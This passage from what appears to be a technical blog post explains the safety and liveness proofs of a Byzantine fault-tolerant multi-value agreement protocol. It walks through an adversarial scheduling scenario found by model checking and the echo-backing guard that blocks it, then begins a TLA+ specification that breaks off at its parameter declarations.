∧ (∀v: R(v) &lt; Q) ∧ R(⊥) &lt; Q
∧ ¬CanReachQuorum():
send ⟨ABORT⟩ to all; sentₐ ← true
upon Aborts ≥ Qₐ ∧ sentᵣ ≠ ∅ // A2: amplify abort
∧ sentₐ = false:
send ⟨ABORT⟩ to all; sentₐ ← true
upon Aborts ≥ Q ∧ sentᵣ ≠ ∅ ∧ delivered = ∅ // A3: deliver on abort
∧ TotalReadies ≥ Q ∧ (∀v: R(v) ≤ Q − 2f − 1):
if sentₐ = false: send ⟨ABORT⟩; sentₐ ← true
delivered ← ⊥&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Abort triggers when a process has readied, received \(Q\) total readies, but no value can reach \(Q\). ABORTs propagate via amplification, and \(Q\) ABORTs force delivery of \(\bot\).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;On A3&amp;rsquo;s guard:&lt;/strong&gt; The &lt;code&gt;∀v: R(v) ≤ Q − 2f − 1&lt;/code&gt; condition prevents aborting when a value could have achieved quorum elsewhere. If some value \(v\) got \(Q\) readies globally, at least \(Q - f\) correct processes sent &lt;code&gt;READY(v)&lt;/code&gt;. A3 requires having heard from \(Q\) senders, at least \(Q - f\) correct. Pigeonhole: overlap \(\geq (Q-f) + (Q-f) - (n-f) = Q - 2f\). So we&amp;rsquo;d observe \(\geq Q - 2f\) readies for \(v\) locally, blocking the abort.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="safety-properties"&gt;Safety Properties&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Agreement&lt;/strong&gt;: Same intersection arguments, plus: if anyone delivers \(v \in V\), they saw \(Q_o\) ECHOs or \(Q\) READYs for \(v\). For D1, \(\geq Q_e\) correct processes echoed \(v\); for D2, \(\geq Q_a\) correct processes readied \(v\). Either prevents a conflicting value from reaching delivery threshold.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Strong Validity&lt;/strong&gt;: If \(\geq Q_s\) honest processes input \(v\), then \(v\) has a strict majority among all honest echoes. By Lemma 2 in the spec, any process receiving \(Q\) echoes either sees \(Q\) for \(v\) directly, or \(v\) is the majority. Either way, all READYs go to \(v\), and \(v\) is delivered.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Integrity&lt;/strong&gt;: If someone delivers \(\bot\), it required \(Q\) READYs for \(\bot\) or \(Q\) ABORTs. Both require \(\geq Q_a\) honest processes to have sent \(\bot\)/ABORT. Only happens when no value achieved supermajority.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Termination&lt;/strong&gt; &lt;em&gt;(partial synchrony)&lt;/em&gt;: Every honest process eventually receives \(Q\) total echoes (since \(|Honest| \geq Q\)). From there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Some value reaches \(Q_o\): optimistic delivery&lt;/li&gt;
&lt;li&gt;Some value reaches \(Q\): standard delivery&lt;/li&gt;
&lt;li&gt;Echoes fragment: after timeout, demote to \(\bot\) when &lt;code&gt;CanReachEchoBacking() = false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;READYs fragment: abort mechanism fires&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Synchrony Model:&lt;/strong&gt; Safety (Agreement, Validity, Integrity) holds under &lt;strong&gt;full asynchrony&lt;/strong&gt;. Only demotion-to-⊥ requires &lt;strong&gt;partial synchrony&lt;/strong&gt; (correct-to-correct messages arrive within Δ after GST). Consistent with FLP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="the-echo-backing-fix"&gt;The Echo-Backing Fix&lt;/h3&gt;
&lt;p&gt;The &lt;span class="math-inline"&gt;\(E(v) \geq Q_e\)&lt;/span&gt; guard on R2 wasn&amp;rsquo;t in the initial design. Model checking revealed a subtle attack that only surfaces in MVA (not single-leader broadcast). This echo-backing requirement applies only to R2 (plurality ready), not to R3 (amplification).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Attack&lt;/strong&gt;: Consider \(n = 7, f = 2\) with thresholds \(Q = 5\), \(Q_o = 6\), \(Q_e = 4\). Honest processes \(h_1\)–\(h_4\) input \(x\); honest \(h_5\) inputs \(y\). Byzantine processes send \(\text{ECHO}(x)\) to \(h_1\) and \(\text{ECHO}(y)\) to everyone else.&lt;/p&gt;
&lt;p&gt;The adversary schedules delivery so \(h_2\) receives its first \(Q = 5\) echoes as \(\{B_1(y), B_2(y), h_5(y), h_1(x), h_3(x)\}\), giving \(E(y) = 3, E(x) = 2\). Without echo-backing, \(h_2\) would ready \(y\) via R2 (plurality). Similarly for \(h_3, h_4, h_5\).&lt;/p&gt;
&lt;p&gt;Meanwhile, \(h_1\) sees \(Q_o = 6\) echoes for \(x\) and delivers via D1. If \(h_2\)–\(h_5\) ready \(y\) and deliver via D2, &lt;strong&gt;Agreement is violated&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why Echo-Backing Blocks This&lt;/strong&gt;: The maximum echoes for \(y\) at any correct process is:&lt;/p&gt;
$$
E(y) = \underbrace{1}_{h_5} + \underbrace{2}_{\text{Byzantine}} = 3 &lt; 4 = Q_e
$$&lt;p&gt;Since &lt;span class="math-inline"&gt;\(E(y) &amp;lt; Q_e\)&lt;/span&gt;, R2&amp;rsquo;s guard fails. Process &lt;span class="math-inline"&gt;\(h_2\)&lt;/span&gt; must wait. Eventually &lt;span class="math-inline"&gt;\(h_2(x)\)&lt;/span&gt; and &lt;span class="math-inline"&gt;\(h_4(x)\)&lt;/span&gt; arrive, yielding &lt;span class="math-inline"&gt;\(E(x) = 4 \geq Q_e\)&lt;/span&gt;. Now &lt;span class="math-inline"&gt;\(x\)&lt;/span&gt; is both the plurality &lt;em&gt;and&lt;/em&gt; has echo-backing, so &lt;span class="math-inline"&gt;\(h_2\)&lt;/span&gt; readies &lt;span class="math-inline"&gt;\(x\)&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;A value with &lt;span class="math-inline"&gt;\(Q_o\)&lt;/span&gt; echoes at &lt;em&gt;any&lt;/em&gt; process guarantees &lt;span class="math-inline"&gt;\(\geq Q_e\)&lt;/span&gt; echoes at &lt;em&gt;every&lt;/em&gt; correct process (since &lt;span class="math-inline"&gt;\(Q_o - f = Q_e\)&lt;/span&gt;). The echo-backing guard ensures we only ready values that could plausibly have fast-path support.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Liveness (partial synchrony required)&lt;/strong&gt;: What if plurality exists but can &lt;em&gt;never&lt;/em&gt; reach echo-backing? This happens when all correct echoes have arrived but they&amp;rsquo;re fragmented. Demotion to \(\bot\) requires both:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A local timeout has fired, AND&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CanReachEchoBacking() = false&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Under partial synchrony, after GST all correct-to-correct messages arrive within Δ. A timeout calibrated to ≥ Δ ensures all correct echoes arrive first. Post-timeout, &lt;code&gt;HonestEchoSenders&lt;/code&gt; equals the count of correct processes, so &lt;code&gt;CanReachEchoBacking()&lt;/code&gt; accurately reflects whether any value can still reach \(Q_e\).&lt;/p&gt;
&lt;p&gt;If any value had supermajority support (\(\geq Q_s\) correct inputs), it would achieve \(\geq Q_e\) echoes from correct processes alone, arriving before timeout.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Implementation:&lt;/strong&gt; The timeout must fire only after all correct echoes arrive. In partial synchrony, use increasing timeouts (exponential backoff) until post-GST. Pre-GST, if a timeout fires early, don&amp;rsquo;t demote: re-check &lt;code&gt;CanReachEchoBacking()&lt;/code&gt; (still true if correct echoes are missing). The TLA+ model makes timeout contingent on all correct echoes having been received.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Safety vs. Liveness&lt;/strong&gt;: Safety (Agreement, Validity) holds under &lt;em&gt;full asynchrony&lt;/em&gt;. Only demotion-to-\(\bot\) liveness requires partial synchrony. Consistent with FLP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="the-canwin-fallback"&gt;The CanWin Fallback&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;¬CanWin(sentᵣ)&lt;/code&gt; fallback in D2/D3 prevents livelock. Without it, a process that sent READY for a minority value gets stuck forever when a different value achieves \(Q\) readies. The primary guard &lt;code&gt;sentᵣ ∈ {∅, v}&lt;/code&gt; fails, but the process can&amp;rsquo;t deliver. The fallback lets it give up when its value is mathematically eliminated.&lt;/p&gt;
&lt;h3 id="the-tla-spec-1"&gt;The TLA+ Spec&lt;/h3&gt;
&lt;details&gt;
&lt;summary&gt;&lt;b&gt;rcast.tla&lt;/b&gt; (&lt;a href="rcast.tla" download&gt;download&lt;/a&gt;)&lt;/summary&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;--------------------&lt;/span&gt; &lt;span class="n"&gt;MODULE&lt;/span&gt; &lt;span class="n"&gt;rcast&lt;/span&gt; &lt;span class="o"&gt;--------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Rapidcast&lt;/span&gt; &lt;span class="n"&gt;MVA&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;Multi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt; &lt;span class="n"&gt;Agreement&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Optimistic&lt;/span&gt; &lt;span class="n"&gt;Fast&lt;/span&gt; &lt;span class="ne"&gt;Path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;========================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Version&lt;/span&gt; &lt;span class="mf"&gt;2.&lt;/span&gt; &lt;span class="n"&gt;Simplified&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="n"&gt;representation&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;abort&lt;/span&gt; &lt;span class="n"&gt;safety&lt;/span&gt; &lt;span class="n"&gt;fixes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Can&lt;/span&gt; &lt;span class="n"&gt;Bölük&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;April&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;2025.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;All&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt; &lt;span class="n"&gt;propose&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;agree&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;one&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="err"&gt;⊥&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;inputs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;are&lt;/span&gt; &lt;span class="n"&gt;irreconcilably&lt;/span&gt; &lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Delivers&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;rounds&lt;/span&gt; &lt;span class="n"&gt;when&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;supermajority&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;shares&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;same&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;falls&lt;/span&gt; &lt;span class="n"&gt;back&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="n"&gt;rounds&lt;/span&gt; &lt;span class="n"&gt;otherwise&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Properties&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Agreement&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;two&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Strong&lt;/span&gt; &lt;span class="n"&gt;Validity&lt;/span&gt; &lt;span class="n"&gt;Supermajority&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Weak&lt;/span&gt; &lt;span class="n"&gt;Validity&lt;/span&gt; &lt;span class="n"&gt;Output&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;some&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Integrity&lt;/span&gt; &lt;span class="n"&gt;Output&lt;/span&gt; &lt;span class="err"&gt;⊥&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;supermajority&lt;/span&gt; &lt;span class="n"&gt;existed&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Termination&lt;/span&gt; &lt;span class="n"&gt;All&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt; &lt;span class="n"&gt;eventually&lt;/span&gt; &lt;span class="n"&gt;deliver&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Synchrony&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Safety&lt;/span&gt; &lt;span class="n"&gt;holds&lt;/span&gt; &lt;span class="n"&gt;under&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;asynchrony&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Termination&lt;/span&gt; &lt;span class="n"&gt;requires&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;partial&lt;/span&gt; &lt;span class="n"&gt;synchrony&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bounded&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="n"&gt;delay&lt;/span&gt; &lt;span class="n"&gt;after&lt;/span&gt; &lt;span class="n"&gt;GST&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Fault&lt;/span&gt; &lt;span class="n"&gt;Model&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="n"&gt;equivocate&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;different&lt;/span&gt; &lt;span class="n"&gt;recipients&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Modeled&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;recipient&lt;/span&gt; &lt;span class="n"&gt;nondeterministic&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt; &lt;span class="n"&gt;broadcast&lt;/span&gt; &lt;span class="n"&gt;uniformly&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;EXTENDS&lt;/span&gt; &lt;span class="n"&gt;Naturals&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;FiniteSets&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;TLC&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;SYNCHRONY&lt;/span&gt; &lt;span class="n"&gt;MODEL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Safety&lt;/span&gt; &lt;span class="n"&gt;holds&lt;/span&gt; &lt;span class="n"&gt;under&lt;/span&gt; &lt;span class="n"&gt;full&lt;/span&gt; &lt;span class="n"&gt;asynchrony&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Termination&lt;/span&gt; &lt;span class="n"&gt;needs&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt; &lt;span class="n"&gt;synchrony&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ReadyOnTimeout&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s ⊥-demotion assumes all honest echoes arrive before&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;CanReachEchoBacking&lt;/span&gt; &lt;span class="n"&gt;becomes&lt;/span&gt; &lt;span class="bp"&gt;false&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Implementation&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;GST&lt;/span&gt; &lt;span class="err"&gt;Δ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Spec&lt;/span&gt; &lt;span class="n"&gt;abstracts&lt;/span&gt; &lt;span class="n"&gt;timing&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;fairness&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;delivery&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Protocol&lt;/span&gt; &lt;span class="n"&gt;Parameters&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CONSTANTS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;correct&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Faulty&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;empty&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;V&lt;/span&gt; \&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Sentinel&lt;/span&gt; &lt;span class="n"&gt;values&lt;/span&gt;
